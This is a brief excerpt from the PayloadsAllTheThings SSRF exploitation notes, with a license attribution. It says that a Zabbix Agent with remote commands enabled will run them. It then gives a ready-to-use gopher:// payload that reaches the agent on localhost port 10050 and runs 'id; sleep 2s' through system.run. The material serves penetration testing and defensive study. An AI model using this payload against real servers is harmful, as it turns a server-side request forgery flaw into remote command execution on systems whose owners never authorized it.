If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5DSource: Server Side Request Forgery/SSRF-Advanced-Exploitation.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.